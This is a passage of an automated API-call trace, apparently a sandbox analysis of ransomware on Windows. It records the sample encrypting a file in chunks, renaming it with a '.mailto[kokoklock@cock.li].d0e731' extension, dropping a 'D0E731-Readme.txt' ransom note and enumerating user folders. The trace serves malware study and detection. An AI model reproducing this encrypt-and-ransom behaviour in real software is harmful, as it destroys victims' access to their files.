lpNumberOfBytesRead=0xe93f6b0*=0x4096, lpOverlapped=0x0) returned 1 [0064.608] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x40960, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.608] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0064.608] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0064.608] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe50 [0064.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe50) returned 1 [0064.609] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0064.609] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe50 [0064.609] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe78 [0064.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe78) returned 1 [0064.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0064.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0064.609] WriteFile (in: hFile=0x3a0, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xe93f6b0, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xe93f6b0*=0x4096, lpOverlapped=0x0) returned 1 [0064.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.609] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x7bf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.609] ReadFile (in: hFile=0x3a0, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xe93f6b0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xe93f6b0*=0x4096, lpOverlapped=0x0) returned 1 [0064.610] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x7bf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.610] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd118 [0064.610] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.610] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe78 [0064.610] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe78) returned 1 [0064.610] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0064.611] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe78 [0064.611] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33ef9c8 [0064.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ef9c8) returned 1 [0064.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd118) returned 1 [0064.611] WriteFile (in: hFile=0x3a0, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xe93f6b0, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xe93f6b0*=0x4096, lpOverlapped=0x0) returned 1 [0064.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.611] WriteFile (in: hFile=0x3a0, lpBuffer=0x33efdb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe93f70c, lpOverlapped=0x0 | out: lpBuffer=0x33efdb0*, lpNumberOfBytesWritten=0xe93f70c*=0x20, lpOverlapped=0x0) returned 1 [0064.612] WriteFile (in: hFile=0x3a0, lpBuffer=0x33efe50*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe93f70c, lpOverlapped=0x0 | out: lpBuffer=0x33efe50*, lpNumberOfBytesWritten=0xe93f70c*=0x20, lpOverlapped=0x0) returned 1 [0064.612] WriteFile (in: hFile=0x3a0, lpBuffer=0x33efe78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe93f70c, lpOverlapped=0x0 | out: lpBuffer=0x33efe78*, lpNumberOfBytesWritten=0xe93f70c*=0x20, lpOverlapped=0x0) returned 1 [0064.612] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0064.612] WriteFile (in: hFile=0x3a0, lpBuffer=0x33efe28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xe93f714, lpOverlapped=0x0 | out: lpBuffer=0x33efe28*, lpNumberOfBytesWritten=0xe93f714*=0x8, lpOverlapped=0x0) returned 1 [0064.612] WriteFile (in: hFile=0x3a0, lpBuffer=0xe93f72c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe93f714, lpOverlapped=0x0 | out: lpBuffer=0xe93f72c*, lpNumberOfBytesWritten=0xe93f714*=0x4, lpOverlapped=0x0) returned 1 [0064.612] WriteFile (in: hFile=0x3a0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe93f714, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xe93f714*=0x4, lpOverlapped=0x0) returned 1 [0064.612] WriteFile (in: hFile=0x3a0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xe93f714, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xe93f714*=0x6c, lpOverlapped=0x0) returned 1 [0064.613] WriteFile (in: hFile=0x3a0, lpBuffer=0x33efdd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe93f714, lpOverlapped=0x0 | out: lpBuffer=0x33efdd8*, lpNumberOfBytesWritten=0xe93f714*=0x20, lpOverlapped=0x0) returned 1 [0064.613] WriteFile (in: hFile=0x3a0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe93f714, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xe93f714*=0x4, lpOverlapped=0x0) returned 1 [0064.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa90) returned 1 [0064.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe28) returned 1 [0064.613] CloseHandle (hObject=0x3a0) returned 1 [0064.625] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11e) returned 0x341a708 [0064.625] wcscpy (in: _Dest=0x341a708, _Source="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms") returned="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" [0064.625] wcscat (in: _Dest=0x341a708, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731" [0064.625] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000002.regtrans-ms"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.626] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x26) returned 1 [0064.626] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a708) returned 1 [0064.626] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", dwFileAttributes=0x26) returned 0 [0064.626] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x3480b78 [0064.626] wcscpy (in: _Dest=0x3480b78, _Source="C:\\Users\\Default\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0064.626] wcscat (in: _Dest=0x3480b78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\Default\\D0E731-Readme.txt") returned="C:\\Users\\Default\\D0E731-Readme.txt" [0064.626] GetFileAttributesW (lpFileName="C:\\Users\\Default\\D0E731-Readme.txt" (normalized: "c:\\users\\default\\d0e731-readme.txt")) returned 0xffffffff [0064.626] CreateFileW (lpFileName="C:\\Users\\Default\\D0E731-Readme.txt" (normalized: "c:\\users\\default\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0068.942] WriteFile (in: hFile=0x704, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xe93f710, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xe93f710*=0x481, lpOverlapped=0x0) returned 1 [0068.945] CloseHandle (hObject=0x704) returned 1 [0068.945] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480b78) returned 1 [0068.945] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a510) returned 1 [0068.945] RtlExitUserThread (Status=0x1) Thread: id = 311 os_tid = 0x1354 [0063.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x38) returned 0x3434668 [0063.588] wcscpy (in: _Dest=0x3434668, _Source="C:\\Users\\Default\\Pictures" | out: _Dest="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0063.588] wcscat (in: _Dest=0x3434668, _Source="\\" | out: _Dest="C:\\Users\\Default\\Pictures\\") returned="C:\\Users\\Default\\Pictures\\" [0063.588] wcscat (in: _Dest=0x3434668, _Source="*" | out: _Dest="C:\\Users\\Default\\Pictures\\*") returned="C:\\Users\\Default\\Pictures\\*" [0063.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34292c8 [0063.588] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*", lpFindFileData=0x34292c8 | out: lpFindFileData=0x34292c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434468 [0064.588] wcscmp (_String1=".", _String2=".") returned 0 [0064.588] FindNextFileW (in: hFindFile=0x3434468, lpFindFileData=0x34292c8 | out: lpFindFileData=0x34292c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.588] wcscmp (_String1="..", _String2=".") returned 1 [0064.588] wcscmp (_String1="..", _String2="..") returned 0 [0064.588] FindNextFileW (in: hFindFile=0x3434468, lpFindFileData=0x34292c8 | out: lpFindFileData=0x34292c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0064.588] FindClose (in: hFindFile=0x3434468 | out: hFindFile=0x3434468) returned 1 [0064.588] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34292c8) returned 1 [0064.588] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434668) returned 1 [0064.588] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ea8) returned 1 [0064.588] RtlExitUserThread (Status=0x0) Thread: id = 312 os_tid = 0x1358 [0063.589] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd358 [0063.589] wcscpy (in: _Dest=0x33fd358, _Source="C:\\Users\\Default\\PrintHood" | out: _Dest="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0063.589] wcscat (in: _Dest=0x33fd358, _Source="\\" | out: _Dest="C:\\Users\\Default\\PrintHood\\") returned="C:\\Users\\Default\\PrintHood\\" [0063.589] wcscat (in: _Dest=0x33fd358, _Source="*" | out: _Dest="C:\\Users\\Default\\PrintHood\\*") returned="C:\\Users\\Default\\PrintHood\\*" [0063.589] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429c68 [0063.589] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*", lpFindFileData=0x3429c68 | out: lpFindFileData=0x3429c68*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0064.314] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429c68) returned 1 [0064.314] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0064.314] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ba8) returned 1 [0064.314] RtlExitUserThread (Status=0x0) Thread: id = 313 os_tid = 0x135c [0063.589] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x34) returned 0x34345a8 [0063.590] wcscpy (in: _Dest=0x34345a8, _Source="C:\\Users\\Default\\Recent" | out: _Dest="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0063.590] wcscat (in: _Dest=0x34345a8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Recent\\") returned="C:\\Users\\Default\\Recent\\" [0063.590] wcscat (in: _Dest=0x34345a8, _Source="*" | out: _Dest="C:\\Users\\Default\\Recent\\*") returned="C:\\Users\\Default\\Recent\\*" [0063.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429ed0 [0063.590] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*", lpFindFileData=0x3429ed0 | out: lpFindFileData=0x3429ed0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0064.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429ed0) returned 1 [0064.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34345a8) returned 1 [0064.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9830) returned 1 [0064.315] RtlExitUserThread (Status=0x0) Thread: id = 314 os_tid = 0x1360 [0063.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3e) returned 0x33fcc50 [0063.590] wcscpy (in: _Dest=0x33fcc50, _Source="C:\\Users\\Default\\Saved Games" | out: _Dest="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0063.590] wcscat (in: _Dest=0x33fcc50, _Source="\\" | out: _Dest="C:\\Users\\Default\\Saved Games\\") returned="C:\\Users\\Default\\Saved Games\\" [0063.590] wcscat (in: _Dest=0x33fcc50, _Source="*" | out: _Dest="C:\\Users\\Default\\Saved Games\\*") returned="C:\\Users\\Default\\Saved Games\\*" [0063.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342a138 [0063.590] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*", lpFindFileData=0x342a138 | out: lpFindFileData=0x342a138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434368 [0064.585] wcscmp (_String1=".", _String2=".") returned 0 [0064.585] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x342a138 | out: lpFindFileData=0x342a138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.585] wcscmp (_String1="..", _String2=".") returned 1 [0064.585] wcscmp (_String1="..", _String2="..") returned 0 [0064.585] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x342a138 | out: lpFindFileData=0x342a138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0064.585] FindClose (in: hFindFile=0x3434368 | out: hFindFile=0x3434368) returned 1 [0064.585] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a138) returned 1 [0064.585] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0064.585] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc98) returned 1 [0064.585] RtlExitUserThread (Status=0x0) Thread: id = 315 os_tid = 0x1364 [0063.591] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x34) returned 0x3434628 [0063.591] wcscpy (in: _Dest=0x3434628, _Source="C:\\Users\\Default\\SendTo" | out: _Dest="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0063.591] wcscat (in: _Dest=0x3434628, _Source="\\" | out: _Dest="C:\\Users\\Default\\SendTo\\") returned="C:\\Users\\Default\\SendTo\\" [0063.591] wcscat (in: _Dest=0x3434628, _Source="*" | out: _Dest="C:\\Users\\Default\\SendTo\\*") returned="C:\\Users\\Default\\SendTo\\*" [0063.591] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342a3a0 [0063.591] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*", lpFindFileData=0x342a3a0 | out: lpFindFileData=0x342a3a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0064.316] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a3a0) returned 1 [0064.316] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434628) returned 1 [0064.316] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e91a0) returned 1 [0064.316] RtlExitUserThread (Status=0x0) Thread: id = 316 os_tid = 0x1368 [0063.591] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3c) returned 0x33fcd28 [0063.591] wcscpy (in: _Dest=0x33fcd28, _Source="C:\\Users\\Default\\Start Menu" | out: _Dest="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0063.591] wcscat (in: _Dest=0x33fcd28, _Source="\\" | out: _Dest="C:\\Users\\Default\\Start Menu\\") returned="C:\\Users\\Default\\Start Menu\\" [0063.591] wcscat (in: _Dest=0x33fcd28, _Source="*" | out: _Dest="C:\\Users\\Default\\Start Menu\\*") returned="C:\\Users\\Default\\Start Menu\\*" [0063.591] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342a608 [0063.592] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*", lpFindFileData=0x342a608 | out: lpFindFileData=0x342a608*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0064.317] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a608) returned 1 [0064.317] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcd28) returned 1 [0064.317] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ee8) returned 1 [0064.317] RtlExitUserThread (Status=0x0) Thread: id = 317 os_tid = 0x136c [0063.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fcd70 [0063.592] wcscpy (in: _Dest=0x33fcd70, _Source="C:\\Users\\Default\\Templates" | out: _Dest="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0063.592] wcscat (in: _Dest=0x33fcd70, _Source="\\" | out: _Dest="C:\\Users\\Default\\Templates\\") returned="C:\\Users\\Default\\Templates\\" [0063.592] wcscat (in: _Dest=0x33fcd70, _Source="*" | out: _Dest="C:\\Users\\Default\\Templates\\*") returned="C:\\Users\\Default\\Templates\\*" [0063.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342a870 [0063.592] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*", lpFindFileData=0x342a870 | out: lpFindFileData=0x342a870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0064.317] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a870) returned 1 [0064.317] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcd70) returned 1 [0064.317] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433f28) returned 1 [0064.318] RtlExitUserThread (Status=0x0) Thread: id = 318 os_tid = 0x1370 [0063.593] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x34) returned 0x34346a8 [0063.593] wcscpy (in: _Dest=0x34346a8, _Source="C:\\Users\\Default\\Videos" | out: _Dest="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0063.593] wcscat (in: _Dest=0x34346a8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Videos\\") returned="C:\\Users\\Default\\Videos\\" [0063.593] wcscat (in: _Dest=0x34346a8, _Source="*" | out: _Dest="C:\\Users\\Default\\Videos\\*") returned="C:\\Users\\Default\\Videos\\*" [0063.593] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342ad40 [0063.593] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*", lpFindFileData=0x342ad40 | out: lpFindFileData=0x342ad40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433aa8 [0064.510] wcscmp (_String1=".", _String2=".") returned 0 [0064.510] FindNextFileW (in: hFindFile=0x3433aa8, lpFindFileData=0x342ad40 | out: lpFindFileData=0x342ad40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.510] wcscmp (_String1="..", _String2=".") returned 1 [0064.510] wcscmp (_String1="..", _String2="..") returned 0 [0064.510] FindNextFileW (in: hFindFile=0x3433aa8, lpFindFileData=0x342ad40 | out: lpFindFileData=0x342ad40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0064.510] FindClose (in: hFindFile=0x3433aa8 | out: hFindFile=0x3433aa8) returned 1 [0064.510] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ad40) returned 1 [0064.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34346a8) returned 1 